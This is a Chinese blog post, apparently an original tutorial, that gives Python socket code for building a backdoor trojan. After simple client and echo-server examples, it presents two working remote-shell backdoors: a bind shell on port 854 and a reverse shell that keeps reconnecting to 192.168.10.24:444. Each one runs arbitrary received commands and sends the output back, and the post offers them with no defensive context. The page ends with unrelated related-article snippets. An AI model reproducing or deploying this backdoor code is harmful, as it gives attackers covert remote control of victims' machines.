python socket编程制作后门木马(原创)
懒得解释怎么写出来的,直接上代码
Client: 简单连接服务器
#!/usr/bin/python
#coding:utf-8 import socket
import sys
socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port))
s.sendall(message) reply = s.recv(4096) print reply
Server: 单线程,长久监听服务,长连接,会话先进先出排队原则
#!/usr/bin/python
#coding:utf-8 import socket
import sys HOST = ''
PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break conn.close()
s.close()
Server: 多线程,长久监听服务,长连接,同步处理会话
#!/usr/bin/python
#coding:utf-8 import socket
import sys
from thread import * HOST = ''
PORT = 555 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 结合命令执行制作后门木马(正向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from thread import * HOST = ''
PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("Demon_Backdoor# ")
data = conn.recv(1024)
if data:
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
conn.sendall(res+"\n")
else:
print "[-]Error: code",code
data = "" else:
break conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 反弹shell(反向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from time import sleep
from thread import * HOST = "192.168.10.24"
PORT = 444 def clientthread(s):
global isConnect
s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1:
s.send("Demon_Backdoor# ")
data = s.recv(1024)
if data :
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
s.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] connecting" , HOST + ":", PORT
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)
转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html
python socket编程制作后门木马(原创)的更多相关文章
- Python Socket 编程——聊天室示例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...
- python/socket编程之粘包
python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...
- PYTHON SOCKET编程简介
原文地址: PYTHON SOCKET编程详细介绍 Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...
- python socket编程笔记
用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...
- [Python_7] Python Socket 编程
0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...
- Python Socket 编程示例 Echo Server
简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...
- Python Socket 编程——聊天室演示样例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...
- python socket编程入门(编写server实例)+send 与sendall的区别与使用方法
python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...
- 第九章:Python高级编程-Python socket编程
第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...
随机推荐
- 嵌入式 视频编码(H264)
这几天在编写视频录制模块,所以,闲暇之余,又粗粗的整理了一下,主要是API,以备不时之用 摄像头获取的模拟信号通过经芯片处理(我们使用的是CX25825),将模拟信号转成数字信号,产生标准的IT ...
- freemarker写select组件(三)
freemarker写select组件 1.宏定义 <#macro select id datas value="" key="" text=" ...
- ubuntu14.04 64位 安装eclipse
ubuntu14.04 64位 安装eclipse 1 在官网上下载eclipse http://www.eclipse.org/downloads/下载eclipse-jee-luna-SR1-li ...
- 对spring web启动时IOC源码研究(二)
发现这样debug到哪说到哪好像有点回不来了~让我重新理下思路,主要步骤先上图,有什么不同意见欢迎批评教育~ (一)spring IOC的主要步骤都在refresh()这个方法中,我给出了自己的理解注 ...
- 从html页面加载顺序来更好的理解jquery初始化
一,html页面加载顺序 1,用户输入网址(假设是个html页面,并且是第一次访问),浏览器向服务器发出请求,服务器返回html文件:2,浏览器开始载入html代码,发现<head>标签内 ...
- HTTP的长连接,你不知道的连接。。。
长连接起源 什么样的连接才能称之为长连接?要多长.... http是一种无状态的协议,也就是stateless协议,而http协议又是建立在tcp/ip协议的基础之上的. 无状态表示每次请求都是一次独 ...
- 关于transform的3D变形函数
继续transform的3D用法: translate3d(x,y,z)定义3D转换 transformX(x)只用x轴的值进行转换: transformY(y)只用y轴的值进行转换: transfo ...
- Qtree3题解(树链剖分(伪)+线段树+set)
外话:最近洛谷加了好多好题啊...原题入口 这题好像是SPOJ的题,挺不错的.看没有题解还是来一篇... 题意: 很明显吧.. 题解: 我的做法十分的暴力:树链剖分(伪)+线段树+\(set\)... ...
- [HDU4812]D Tree
vjudge 题意:给一棵树,每个点上有一个权值,求一条路径使得路径上权值的乘积膜\(10^6+3\)的结果为\(K\),输出路径的两个端点\(x,y\).如有多解,设\(x<y\),输出\(x ...
- Marriage Match IV HDU - 3416
题意 给你n个点,m条边,要求每条边只能走一次的S到T的最短路径的个数 题解 在我又WA又TLE还RE时,yyb大佬告诉我说要跑两遍SPFA,还说我写的一遍SPFA是错的,然而 啪啪打脸... 而且他 ...